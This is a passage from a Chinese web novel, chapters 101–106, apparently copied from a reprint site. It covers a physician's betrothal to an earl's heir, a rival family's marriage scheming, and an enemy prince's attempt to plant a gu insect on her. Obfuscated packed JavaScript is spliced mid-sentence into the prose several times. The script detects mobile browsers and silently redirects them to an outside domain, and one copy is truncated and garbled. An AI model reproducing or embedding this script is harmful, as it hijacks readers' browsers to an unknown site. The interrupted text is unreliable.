“没、没什么。”赵氏红着脸低下头,“只是没想到林大夫竟是女子。” 两人说笑着将药材一一整理妥当,又用红纸将它们包好。顾馨巧特意挑选了一些名贵的药材,想着这些东西最适合送给未来的儿媳。 “夫人,老爷让我来问,可准备好了?”一个丫鬟走进来禀报。 顾馨巧看了看准备好的礼品:“就快了,再等片刻。”她转向赵氏,“妹妹,麻烦你去告诉老爷,就说我们这就来。” 赵氏应声而去,顾馨巧又仔细检查了一遍礼品,确保万无一失。 第一百零一章 条件很简单 前院里,楚云浪正在和媒婆说话。他穿着一身深蓝色的长袍,显得格外稳重。 “这林大夫医术高明,品性端正,确实是难得的好姑娘。”媒婆笑眯眯地说,“夫人托我打听过,街坊邻居都说她医术好,为人和善。” 楚云浪点点头:“是啊,上次季远病重,多亏了她。” 不多时,楚星河也收拾整齐走了出来。他今日特意换了件月白色的长衫,腰间系着玉带,整个人清俊挺拔。 “季远,”楚云浪看着儿子,欲言又止。 “父亲放心,”楚星河微微一笑,“我心里有数。” 一行人坐上马车,向仁心医馆驶去。马车缓缓行驶在街道上,车帘随风轻轻摆动。 医馆内,林芷柔正在为病人诊脉。她今日换了件白色长衫,发髻上系着一条亚青色的发带,清雅脱俗。纤长的手指搭在病人的脉门上,神情专注。 “大夫,我这病可有得治?”病人忧心忡忡地问。 “放心,不是什么大病。”林芷柔的声音清冷平静,“开几副药调理一下就好。” 她提笔写下药方,字迹清秀工整。阳光从窗外斜斜地照进来,在她白皙的脸上投下淡淡的光晕。 “林大夫,这方子要吃几天?”病人接过药方,小声问道。 “七副药,一日一副。”林芷柔一边收拾药箱一边说,“若是吃完还不见好,再来找我。” 林巧巧站在医馆后院的廊下,望着林芷柔忙碌的身影,一缕晨光透过树叶斑驳地洒在她身上。 清晨的风带着淡淡的药香,吹起她的衣袖。这样的画面让林巧巧看得有些出神。 同是女儿身,可大姐却能带着一家人来到云云州安家,还开了这间声名渐起的医馆。不仅如此,还教导大哥做生意,让全家都过上了安稳的日子。这份本事,这份胆识,让她不禁暗自神往。 “巧巧,过来帮我看看这个方子。”林芷柔的声音将她的思绪拉回现实。 林巧巧快步走到药案前,仔细查看大姐指着的药方。她的目光在纸上游移,努力回忆着每味药材的功效。 “这味黄芩用量是不是重了些?”她迟疑着问道。 林芷柔露出赞许的笑容:“观察得不错,这位病人体虚,确实不宜用太多寒凉之品。” 得到夸奖,林巧巧心中一暖。若是她也有大姐这般本领,父母的血海深仇又何愁不能报?这个念头一闪而过,她随即将注意力集中在眼前的药方上。 医馆外渐渐热闹起来,三三两两的病患已经在门口排起了队。林芷柔抬眸向外望去,只见外头传来一阵骚动。 “云陵伯府的马车!” “是云陵伯来了!” “快让让路...” 病患们纷纷往两边退开,议论声此起彼伏。林芷柔的手指微微一顿,面上却看不出什么异样。 楚星河从马车上下来,身后跟着他的父母楚云浪和顾馨巧。他们一行人在众人惊诧的目光中走进医馆。 “柔柔姑娘。”顾馨巧率先开口,语气温和,“今日冒昧前来,是有要事相商。” 林芷柔不慌不忙地请他们到后院,吩咐林巧巧去准备茶水。 后院里,林山和柳雅芝正在商量午饭。突然听到前院的动静,两人慌忙起身。 “侯爷、夫人请坐。”林山连忙招呼,“有失远迎,还请见谅。” 顾馨巧拉着柳雅芝的手:“大嫂不必客气,今日冒昧来访,还请见谅。”她笑容温和,目光却时不时地瞟向林芷柔。 林巧巧端着茶盘进来时,正好听到顾馨巧在说:“...季远的病是你治好的,这份恩情我们夫妇一直记在心里。” 她将茶杯一一放好,余光瞥见楚星河正专注地看着大姐,目光温柔而坚定。 “夫人言重了。”林芷柔淡然道,“医者本分而已。” “柔柔,”楚星河突然开口,“我今日来,是想向你提亲。” 这句话一出,空气仿佛凝固了一瞬。林巧巧悄悄退到一旁,却竖起耳朵仔细听着。 官媒笑呵呵地打圆场:“林老爷,今日是来说一桩好事的。咱们世子爷和令千金......” 林芷柔没有立即回答,而是看向楚云浪夫妇:“不知侯爷和夫人的意思是?” “我们完全赞同。”楚云浪笑道,“季远的性子我们做父母的最清楚,他既然选中了你,必然是深思熟虑的决定。” 顾馨巧也点头附和:“是啊,我们早就把你当成自家人了。” 林芷柔轻轻放下茶杯:“既然如此,不知楚家其他长辈的态度如何?” 这个问题让楚星河的表情微微一变。顾馨巧连忙解释:“老夫人年事已高,这些事就由我们做主就好。” “夫人这是打算瞒着老夫人?”林芷柔直视着顾馨巧的眼睛。 顾馨巧一时语塞,楚星河急忙道:“柔柔,这事是母亲的主意。她担心我病愈的消息传回帝都,祖母又在忙着为我安排婚事。” “所以,你们是在抢在令祖母前头?”林芷柔冷笑,“我就这么成了你们家斗法的棋子?” “不是的!”楚星河急切地解释,“我是真心想娶你。从你救我那日起,我就...” 林芷柔抬手示意打断他的话,“楚公子,你可想清楚了?我的身份,我的过往,你都能接受?” 楚星河毫不犹豫地点头:“我们成亲后就在云州住下,不去帝都,祖母鞭长莫及。” “若有朝一日,她以孝道相逼呢?” “我发誓,一定护你周全!”楚星河郑重承诺,“你是我此生唯一想要珍惜的人。” 林芷柔目光在楚云浪、顾馨巧和楚星河三人之间转了一圈,手指无意识地摩挲着茶杯边缘。屋内光线明亮,茶香袅袅,却掩不住那一丝若有若无的紧张气息。 “我的条件很简单,”她缓缓开口,声音清晰而坚定,“一生一世一双人,不要姨娘,不要通房。” 这话一出,屋内气氛骤然凝滞。茶杯相碰的声响在这一刻显得格外刺耳。 顾馨巧放下手中的茶盏,眼中闪过一抹赞许:“这有什么问题?我们楚家的男人,向来都是一心一意。”她转头看向楚云浪,“你说是不是,老爷?” 第一百零二章 议定婚事 楚云浪端坐在主位上,眉头微蹙。他看了看儿子楚星河,又看了看林芷柔,一时没有说话。这种事情,确实还是让年轻人自己拿主意比较好。 林芷柔察觉到楚云浪的迟疑,指尖不自觉地加重了力道。茶杯中的水面泛起细微的涟漪,映照出她略显苍白的面容。 “我同意。” 突如其来的声音打破了沉默。楚星河直视着林芷柔,目光灼灼,“三妻四妾虽是常态,但也容易生出是非。一个人,反倒清净。” 林芷柔抬眸,对上那双漆黑如墨的眼眸。楚星河眼中的真诚让她心头微动,嘴角不自觉地扬起一抹浅笑。这个男人,似乎比想象中更懂得分寸。 “爹,”林芷柔转头看向林山,“那就这样定了吧。” 坐在一旁的媒婆孙氏暗自叹气。她摆弄着手中的帕子,心想这一趟怕是白跑了。这哪里还用得着她说和?分明是两家早就说好了的。 楚星河听到林芷柔这话,眸光微闪,他偷眼看向林芷柔,见她神色从容,心头不由得一松。 “林老弟,”楚云浪笑着开口,“既然孩子们都愿意,那我们这些做长辈的,也就别多说什么了。” 厨房里,柳雅芝一边准备点心,一边竖着耳朵听外面的动静。听到这话,她不由得松了口气,眼角泛起笑意。 “娘,”林巧巧蹑手蹑脚地凑到柳雅芝身边,“大姐真的要嫁人了吗?” 柳雅芝轻轻拍了拍女儿的手:“估计得等到明年了,今年时间太紧。”她一边说着,一边在心里盘算。大儿子成亲,大女儿定亲,二儿子考上童生,这日子,当真是越过越红火了。 “只要柔柔愿意,我没什么好说的。”林山看着女儿,又瞥了眼楚星河,“不过,我家条件就这样,往后可不能拿这个说事。” “那是自然!”楚云浪拍着林山的肩膀,豪爽地说道,“英雄不问出处,能娶到柔柔,是季远的福气。” 媒婆看着这一幕,暗自盘算着这份谢媒钱来得着实容易。她抿了口茶,目光在两家人之间游移。 “柔柔是我们看中的儿媳,”顾馨巧也跟着表态,“怎么可能会看不起她的背景呢?有些人家世显赫又如何?比得上我家柔柔的本事?” 林芷柔低垂着眼帘,这位未来的婆婆真是爽快,倒是个明白人。若是自己没有这份医术,怕是也入不了楚家的眼。不过......她偷偷瞥了眼楚星河的侧脸,看在这张脸的份上,似乎也不亏。 消息很快传遍了整个云云州,引起一阵轩然大波。侯爷夫妇亲自上门提亲,这规格,显然是要娶世子妃。街头巷尾,茶楼酒肆,都在议论这桩婚事。 “听说那林家姑娘医术了得,连太医院都对她赞不绝口。” “可不是嘛,前些日子还救了宁家老太太的命呢。” “这样的本事,配个伯府世子,倒也般配。” 宁家老太太得到消息时,正在院子里赏花。她手中的茶盏微微一顿,悬着的心总算放下。这孙女,果然没看错人。 宁涵凤听闻此事,眉眼间都是喜色。她站在镜前,看着自己明艳的容颜,心想再过几个月,她就要嫁入林家了。想到这里,她不由得露出一抹甜蜜的笑容。 反观宁涵清,却是咬牙切齿。她独自一人坐在院中,看着庭院里的落叶纷飞,心中懊悔不已。当初怎么就这么蠢,放着这么好的姻缘不要?如今被禁足在院中,连个帮手都没有,只能眼睁睁看着宁涵凤要嫁入林家。 宁家老太太将宁涵凤叫到院中,商议嫁妆的事。 “凤儿,”老夫人慈爱地看着孙女,“祖母想把城外那座庄子给你做嫁妆,那里有三百亩良田。” “不用了,祖母。”宁涵凤笑着摇头,发髻上的珠钗随着她的动作轻轻晃动,“我嫁的是林家公子,不需要带太多东西过去。连奴仆婢女都不必带,只要我自己的几间铺子就够了。” 宁家大爷站在一旁,眉头微皱,似乎有些不解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582264|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老夫人却是眼中闪过一抹了然:“嫁妆还是要备足的,你到底是我们宁家的大小姐,不能让人看轻了去。” 宁涵凤微微低着头,纤长的手指轻轻摩挲着茶盏边缘,眉眼温婉。 “爹别恼,女儿也是为了适应林家的规矩。”她轻声解释道,声音如同春日里的细雨,轻柔而沁人心脾,“林家向来简朴,我这个新妇进门,总不好摆出一副金枝玉叶的架子。” 话语间,她的心底泛起一丝苦涩。从前在宁家,她也是这般独来独往,早已习惯了没有下人伺候的日子。那时候,府里的下人们总是围着宁涵清转,而她更喜欢独处,渐渐地也就习惯了这样的生活。 老夫人听罢目光慈爱地看向儿子:“林家虽是发达了,但家风朴实。就连当家主母也是事事亲力亲为,凤儿这般想法很是妥当。” 宁家大爷听了这话,瞬间明白了女儿的用意:“原来如此。只是...只是委屈凤儿了。”说这话时,他的声音里带着几分愧疚。 “爹说的哪里话。”宁涵凤莞尔一笑,眼角弯起温柔的弧度,“女儿这些日子跟着厨房师傅学了不少,定能把林家的饭菜照顾好。” 她说这话时,脑海中不由浮现出前几日在厨房学习的情景。那时她站在灶台前,被热气熏得满脸通红,却依然认真地记着师傅教的每一个步骤。手上被烫出的几个小水泡,此刻似乎还隐隐作痛。 提起林家,宁家大爷眼前一亮,踱步到宁涵凤身边:“说起来,女婿那将军醪当真了得!我们酒楼每日都能拿到固定的份额,生意好得很。” “是啊,那卤菜也是一绝。”老夫人接过话头,眼中闪过赞许的光芒,“你这女婿当真有经商的天赋。前几日我去酒楼,看到门口排队的人都快排到街角了。” 宁涵凤低头抿嘴轻笑,耳根微红。她想起那日在祖母房中见到林文昂的情景,那个身材高大的男子站在阳光下,眉目如画,举手投足间尽显儒雅之气。 第一百零三章 走暗路如何? 宁家大爷兴致勃勃地在房中踱步,说起庄子上的见闻:“那庄子可真是别致,房子整整齐齐,一排排的像是用尺子量过似的。工人们各司其职,走路说话都轻声细语的。最特别的是那个大食堂,男女分区,秩序井然。” 他说着,还用手比划起来:“那食堂里的桌椅都是统一的,每张桌子上还摆着醋瓶子和辣椒罐,可见是处处为工人们着想。” 听着父亲的描述,宁涵凤心中涌起一丝期待。想象着日后嫁过去,自己是否也能参与到庄子的事务中去。 思及此,她不禁想起前些日子林文昂来访的情形。那日他送来节礼,在祖母的默许下,她得以作陪。虽然没说上几句话,但那种心悸的感觉至今难忘。 她还记得,那日林文昂谈起庄子上的事务时,眼中闪烁着智慧的光芒。他说起改良酿酒工艺的想法,说起如何让工人们住得更舒适,说起要把庄子办成一个让所有人都能安居乐业的地方。 正说话间,老夫人的贴身嬷嬷匆匆进来,脸上带着几分焦急。她快步走到老夫人身边,俯身在老夫人耳边低语几句。 老夫人的脸色瞬间阴沉下来,手中的佛珠停止了转动。 宁涵凤看着祖母的表情变化,心知必是宁涵清又闹出什么事来。她抿了抿唇,想起妹妹那任性的性子,心中暗叹一声。 “祖母,”她轻声开口,声音里带着几分担忧,“不如早些为清儿妹妹定下亲事。免得她...再做出什么不妥当的事来。” 老夫人叹了口气,眉头紧锁:“这丫头太过任性,几门好亲事都被她推了。前些日子那个翰林之子,家世清白,人品也好,偏偏被她说人家长得太瘦。” 宁涵凤眼珠一转,想起了什么:“听说大弟身边有几位品学兼优的同窗,不如从中选一位?虽说现在还未显达,但日后必有一番作为。” 这番话令老夫人眼前一亮,她放下手中的佛珠:“凤儿说得在理。这倒是个好主意。” “若能择一个家境清白,却略显拮据的书香门第,”宁涵凤继续道,声音轻柔却字字有力,“既能保全清儿的体面,又能让对方感念宁家的提携之恩。这样的人家,往往最知恩图报。” 宁家大爷立刻想到一人,拍案道:“文家那小子就很合适!听说他学问扎实,为人谦和,明年就要下场考秀才了。” “文家虽不富裕,却也不至于揭不开锅。”宁涵凤一边说,一边仔细斟酌着用词,“这样的人家最适合,既不会因受恩太重而心生怨恨,又能保持应有的感激之情。况且文家小郎君生得清秀,性子温和,说不定正合清儿的心意。” 老夫人连连点头,看向宁涵凤的目光愈发慈爱。她伸手拉过宁涵凤的手,轻轻拍了拍:“还是凤儿想得周到。这门亲事,倒是可以好好谋划谋划。” 宁涵凤垂眸浅笑,心中却泛起一丝涟漪。她想起自己的婚事,也是这般被人谋划。只是不知,那个常在她梦中出现的身影,此刻在做些什么。 老夫人轻轻摩挲着手中的檀木佛珠,心中暗暗计较。 “就选文家吧,这门亲事最合适不过。”她的语气不容置疑,手中的佛珠停顿了一瞬。 宁涵凤站在一旁,听了这话,嘴角不着痕迹地勾起。以宁涵清那贪得无厌的性子,就算嫁入皇家也不会知足。早些将她打发出门才是正理。 老夫人的贴身丫鬟黄萝端着一盏香茗进来,恭敬地放在桌上。 “老夫人,二小姐派人来说,想去城外上香。”黄萝低声禀报,“说是连日噩梦缠身,想去寺庙拜拜菩萨消灾。” 老夫人眉头微皱,手中的佛珠转得更快了。“不准。”她语气冷淡,“让她安分待在院子里。” 消息传到宁涵清耳中,她顿时气得将手边的茶盏摔在地上。瓷器碎裂的声响惊得丫鬟们纷纷低头,不敢看她发怒的样子。 “都出去!”她厉声喝道。待丫鬟们退出去后,她在房中来回踱步,眼中满是不甘与愤怒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591464|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她哪里是真想拜佛,分明是想故技重施,再去庄子上寻那林文昂。没想到老夫人如此警惕,连出门都不准。 窗外的风吹动帘子,带来远处的说笑声。宁涵清走到窗前,看见宁涵凤正和丫鬟说着什么,脸上带着淡淡的笑意。 “**!”她咬牙切齿,指甲深深掐进掌心。林文昂的姐姐可是云陵伯府的世子妃,这样的亲事本该是她的。可如今却被宁涵凤抢了去。 她望着镜中的自己,容貌丝毫不逊于宁涵凤,可命运却天差地别。庶女的身份如同枷锁,将她牢牢束缚。 宁涵清坐在梳妆台前,暗暗思考着对策。那些下人都是老夫人的眼线,谁也不会帮她传递消息。就连她最信任的丫鬟也被调走,换成了老夫人的人。 窗外的天空湛蓝如洗,飘着几朵白云。宁涵清望着这片天空,只觉得胸中郁结难平。眼看宁涵凤的婚期将近,她却连见林文昂一面都做不到。 她想过去求宁涵凤,可那又有什么用?就算宁涵凤愿意,她也只能做个姨娘。林文昂娶宁涵凤已是屈就,又怎会娶她这个庶女为正室? 这条路越走越窄,前有高墙,后有深渊。她握紧了手中的帕子,眼中闪过一丝决然。既然光明的路走不通,那就走暗处的路又如何? 另一边,楚星河与林芷柔的婚事也定了下来。这消息一出,整个云州都沸腾了。 “原来仁心医馆的神医竟是位女子!”茶馆里,食客们议论纷纷。 “我去年就是让她治好的旧伤,那医术,真是神了!” “听说连太医院的老大夫都对她赞不绝口。” 云州的百姓这才知道,那位神医竟是个年轻女子。那些曾受过她救治的病人,无不对她心怀敬意。女子行医本就罕见,更何况医术如此高明。 云陵伯世子时常出现在医馆,那挺拔的身影站在门口,自有一番威势。这也震慑了那些想要生事的人。 可偏偏就有不怕死的。 第一百零四章 老相识 这日,阳光正好,医馆外的杏花开得正艳。小摇领村的柳川馨带着一个坐轮椅的男子来到医馆。 “我表哥腿上有伤,你既是神医,定能治好。”柳川馨扬着下巴,语气傲慢。她身上穿着绣花褙子,一副小家碧玉的模样,却掩饰不住眼中的轻蔑。 林芷柔放下手中的医书,打量着轮椅上的男子。一身发白的长袍,手持一把旧扇。五官清秀,唯有那双眼睛格外明亮。 这双眼睛,她见过。当初就是这个人,被她打伤了双腿,后来不知所踪。如今却换了张脸,跟着柳川馨来到医馆。 真是有意思。 “把裤脚卷上去。”林芷柔语气平淡,仿佛面对的只是个普通病人。 李远龙心中冷笑。他的腿早已无药可救,此番前来不过是想探探林芷柔的底细。那双平静的眼睛让他心中升起一股怒火。 原本他想直接杀了这个女人,但听闻她医术高明后,又生出别的心思。若能将她掌控在手中,岂不是如虎添翼? 用毒?不行,她是医者,说不定比自己更精通毒术。用蛊?这倒是个好主意。只是下蛊也需要时机,眼下借着看诊的由头接近她,或许能找到机会。 林芷柔看出了他的身份,却装作不知。她仔细查看那已经萎缩的肌肉,眉头微皱。“抱歉,您的腿已经无法医治了。” “什么?”柳川馨冷笑,“你这神医之名怕是虚的吧?连这点小伤都治不好?” “神医也是人,不是神仙。”林芷柔抬眼看了她一眼,语气依旧平静,“你表哥的伤耽误太久,若是当时就来找我,或许还有希望。” 李远龙心中冷哼。当时去找她?那不是自投罗网吗?他握住柳川馨的手,示意她不要多言。那只手微微发抖,显示出主人内心的愤怒。 “当时在外地,来不及赶到云州。”李远龙说道,声音温和,眼底却是阴冷。 “那真是可惜了。”林芷柔眼中带着笑意,“这种伤必须在十二个时辰内治疗,否则就只能在轮椅上度过余生了。” 这话看似惋惜,实则讽刺。柳川馨听不出其中深意,但李远龙却听得清清楚楚。他暗暗攥紧了拳头,指甲深深掐进掌心。 若不是这个女人,他又怎会沦落至此?他要让她生不如死。李远龙阴冷地望着林芷柔的背影。 医馆里的药香渐渐浓郁,掩盖了暗流涌动的杀机。 林芷柔站在诊室的窗前,思绪却飘向了不久前的那场会面。 诊室里还残留着那股若有若无的异香,像是某种名贵香料,又似乎掺杂着别的什么。那香味太过特别,让她想起了在玄冥边境见过的一种奇异花朵。 “主人,那位病人好像又来了。”灰羽的声音从窗外传来,打断了她的思绪。 林芷柔转身,整了整白大褂的衣领。诊室的门被推开,轮椅的吱呀声伴随着脚步声传来。 李远龙坐在轮椅上,他今天特意露出了山寨中林芷柔见过的面容,一身月白色长袍,手中把玩着一把檀木折扇。柳川馨站在他身后,推着轮椅缓缓前行。 “原来是六皇子?今日怎么有空来我这小诊所?”林芷柔走到办公桌前坐下,语气平淡。 李远龙轻轻摇着扇子,扇面上绘着一幅山水,颜色淡雅。“怎么,本皇子来看看老相识,也要事先打招呼?” “老相识?”林芷柔嘴角微扬,“六皇子说笑了。您可是玄冥的皇子,我不过是个小小的医生,哪敢称得上是相识。” 李远龙的扇子顿了顿,眼中阴霾闪过。柳川馨察觉到气氛的变化,不安地整理着衣摆。 “林大夫说得对,”李远龙冷笑,“我们确实算不上相识。毕竟...相识的人,也不会下手那么狠。” 空气仿佛凝固了一瞬。 林芷柔的目光落在他的腿上,又移向那把折扇。扇面微微颤动,似乎有什么东西在里面蠕动。 她不动声色地拿起桌上的病患登记本,手指轻轻敲击着封面。“六皇子若是来看病,我自当尽力。若是来叙旧...恕我这里不太欢迎。” “叙旧?”李远龙突然大笑,“本皇子只是想看看,当初那个在山寨里对我施放暗器的女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591465|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在过得如何!” 话音未落,一抹红色从扇面缝隙中窜出。 啪! 林芷柔手中的登记本重重落下,那抹红色瞬间被拍得粉碎。 一股更浓郁的香味在空气中弥漫。 “六皇子的把戏,玩得不错。”林芷柔将登记本放回原处,语气依旧平静,“只是这蛊虫,似乎不太适合云州的气候。” 李远龙的脸色阴晴不定,手中的扇子被捏得咯吱作响。 柳川馨连忙上前:“六皇子,时候不早了,我们该回去了。” “走。”李远龙冷冷吐出一个字。 轮椅转向门口,却在即将离开时停下。李远龙侧过头,目光阴冷:“林大夫,我们来日方长。” 直到轮椅声消失在走廊尽头,林芷柔才缓缓呼出一口气。她打开窗户,让新鲜空气涌入,驱散那股诡异的香味。 灰羽从窗外飞进来,围着林芷柔转圈:“主人主人,那只虫子好奇怪!我从来没见过这样的!” “说说看。” “它从扇子里出来的时候,身上有一层金光,还会发出香味!”灰羽比划着,“而且它的速度好快,要不是主人反应快,说不定就...” 林芷柔若有所思:“去找灰鼠七、玄猫五和黄狗九,让他们盯着李远龙。我要知道他在云州的一举一动。” “好嘞!”灰羽欢快地飞走了。 没过多久,墨翎也回来复命。 “小姐,那人住在金泰钱庄西边的院子里。”墨翎压低声音,“打听到他最近经常出入一家香料铺子,好像在找什么特殊的香料。” 林芷柔点点头:“继续盯着。” 送走墨翎后,她走到药柜前,取出一个玻璃瓶。瓶中装着刚才那只蛊虫的残骸,在阳光下泛着诡异的金光。 这种蛊虫她在边境见过。玄冥苗疆特有,名为“迷心蛊”,能让人神志不清,任人摆布。 李远龙想用这种蛊虫控制她,逼她交出**的秘密。 可惜,**她早就对各种蛊毒有了防备。 第一百零五章 何方神圣? 金泰钱庄西边的院子里。 李远龙坐在书房中,面前的镜子里倒映着一张妖冶的容颜。他缓缓揭下脸上的**,露出真实的面容。 “六皇子,您的药...”柳川馨站在门口,手中托着药碗。 “放下。”李远龙头也不回。 柳川馨轻手轻脚地将药碗放在桌上,犹豫片刻:“六皇子,您别太生气。林芷柔她...” “闭嘴!”李远龙猛地转头,语气怨恨地说道:“你以为本皇子会在意一个**的女人?” 柳川馨吓得后退一步,低下头不敢再说话。 待她退出房间,李远龙打开抽屉,拿出一个精美的锦盒。盒中躺着四颗金黄色的**头,是从他身上取出来的。 两条手臂,两条腿。 为了取出卡在腿骨上的**,他不得不将骨头敲碎。从此,他成了一个废人,只能靠轮椅代步。 但这些都不重要。 母妃已经联系上了天玄国的楚王,那个同母异父的兄长。只要能控制住林芷柔,逼她交出那种难以捉摸的暗器... 林芷柔的暗器,小巧玲珑却威力惊人。 李远龙摩挲着手中的**头,眉头紧锁。指尖触及金属表面的细密纹路,每一道凹凸都仿佛在诉说着制作者的用心。这小小的圆形暗器,竟能深入骨髓,让他吃尽苦头。 他将暗器举到光线下细细打量,金属表面泛起冷冽的光泽。 “这制作工艺......”他喃喃自语,目光中闪烁着惊叹,“就连玄冥最好的匠人也未必能及。” 想起那个女子,他不禁陷入沉思。初见时不过是个装扮成男子的女郎,一身素衣,清冷淡然。可那双眼睛,却透着不同寻常的睿智,仿佛能看透人心。 “真是个奇女子。”李远龙轻声自语,语气中带着几分赞叹,又夹杂着一丝说不清道不明的情绪。 医术高超,暗器精妙,更令人惊叹的是那份洞察力。多少年来,他玄冥六王子的身份,从未被人识破。可她一眼就看穿了。 案几上的茶早已凉透,他却浑然不觉。阳光渐渐西斜,室内的光线愈发昏暗。一阵微风拂过,带来远处庭院里桂花的清香。 想到云陵伯世子,李远龙心中暗暗思忖。那飞火连珠弓和破云**,真的是出自他手?为何偏偏在遇见林芷柔之后才问世? “这暗器如此精巧......”李远龙将**头举到眼前仔细端详,手指轻轻摩挲着表面的纹路。每一道刻痕都精准无比,显然出自高手之手。 一个大胆的想法在他脑海中浮现。 “林芷柔,那连珠弓,是你的手笔吧?”他自言自语,声音低沉而肯定。 他将**头放入锦盒,又取出另一颗观察。阳光下,金属表面泛起冷冽的光芒,仿佛在诉说着某个不为人知的秘密。 “云陵伯世子虽然聪慧,但对机关之术并无特长。”他的目光渐渐变得深邃,“一定是你......” 李远龙的眼神渐渐变得阴冷,仿佛寒冬腊月的北风,透着刺骨的寒意。 “若能得到你这样的人才,何愁大业不成?”他的声音低沉而沙哑,带着几分野心勃勃的意味。 窗外的墨翎听得直撇嘴,黑色的羽毛在阳光下泛着幽蓝的光泽。 “呸,一个废物还想打我家主人的主意。”墨翎在心中暗骂,扑棱着翅膀,悄悄在窗棂上落脚。 它歪着脑袋,黑豆般的眼睛滴溜溜转着,“今晚就让灰鼠七带着它的子孙来拜访你。” 屋内的李远龙忽然失声痛哭。那哭声压抑而隐忍,像个无助的孩子,在黑暗中寻找着光明。泪水顺着脸颊滑落,打湿了锦衣。 廊下的柳川馨听得心酸,眼眶也跟着红了。她靠在廊柱上,手中的绣帕被揉得皱巴巴的。 这样的哭声,她已经听过太多次。每当深楚,都能听见他独自哭泣。可他从不说原因,问就发怒。 李远龙将锦盒紧紧抱在胸前,生怕被人抢走似的。他的身子微微发抖,像是承受着常人难以想象的痛苦。 忽听翅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595242|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀扑腾声,他抬头望去。只见一个黑点消失在天际,留下一片寂静的天空。 “莫非是她的乌鸦?”李远龙心中一惊,手不自觉地握紧了锦盒。 想起林芷柔与那乌鸦的默契,他不禁有些忌惮。若真是来探查的,那这女子的本事,当真深不可测。 思绪又转向了银锭失窃案。那庄子上的诡异事件,至今想来仍令人费解。回想起当时的情景,他的眉头越皱越紧。 二十几车银锭,近五十箱之多。短短一个时辰,就全部变成了沙子。这简直是天方楚谭。 他亲自去查探过,根本找不出任何破绽。所有人都在一起,相互监督,不可能有人单独行动。就连如厕都是两人同行。 这条运银线路只能暂时停运。想到那处横跨天玄与玄冥的秘密银矿,李远龙叹了口气。那是母妃的心血,为的就是助大哥登上大位。 “若非天玄突然拥有了那神奇的连珠弓,这次玄冥早已得胜。”他喃喃自语,声音中带着几分不甘。 窗外的夕阳渐渐西沉,最后一缕阳光透过窗棂,在地上留下一道长长的影子。室内的光线愈发昏暗,仿佛笼罩着一层淡淡的愁绪。 李远龙站起身,拄着拐杖缓缓走到窗前。远处的天际染上了一抹晚霞,美得令人心醉。可他的眼中却没有丝毫欣赏的意味,只有深深的忧虑。 “一定要得到那连珠弓的图纸......”他握紧了拳头,指甲深深陷入掌心,却浑然不觉疼痛。 只要掌控了天玄,玄冥就唾手可得。腿脚不方便又怎样?权势在手,谁还敢小觑于他? 李远龙坐回案前,取出一张白纸,提笔蘸墨。笔尖在纸上游走,勾勒出一个个复杂的图案。那是他根据记忆画出的连珠弓构造图,虽然粗糙,却也能看出大致轮廓。 “林芷柔......”他低声念着这个名字,眼神复杂,“你到底是何方神圣?” 李远龙放下笔,揉了揉酸痛的太阳穴。案几上的茶早已凉透,他却毫不在意,端起来一饮而尽。 第一百零六章 底牌 林芷柔轻抚着手中的青瓷茶杯,温热的触感从指尖传来。 房间的门被轻轻推开,墨翎悄无声息地溜了进来。它优雅地跳上桌面,眼神中带着几分得意。林芷柔放下茶杯,示意萤萤给墨翎准备些吃食。 “主人,”墨翎舔了舔爪子,“那个院子我都打探清楚了。” 林芷柔微微点头:“去带灰鼠七熟悉一下地形。那家伙是我们最重要的监控对象。他在院子里就交给灰鼠七、玄猫五和黄狗九。如果他外出,就由你和灰羽负责跟踪。” 墨翎眯起眼睛,尾巴轻轻摆动:“这段时间我也没闲着,发展了几只麻雀加入队伍。虽然这些小家伙没资格见您,但作为我的手下,也能派上用场。” “做得不错。”林芷柔轻声夸赞。 院子里的灯笼一盏盏亮起。楚星河如约而至,他的身影在灯光下显得格外修长。 “楚星河。”林芷柔抬眼看他,“秦面罗刹的事,我要告诉你。” 楚星河闻言,眉头紧锁,眼底浮现出担忧。他快步走到林芷柔身边,声音低沉:“他秘密潜入云州,究竟有何图谋?柔柔,你要格外小心。我把楚云楚雨留给你防身。” 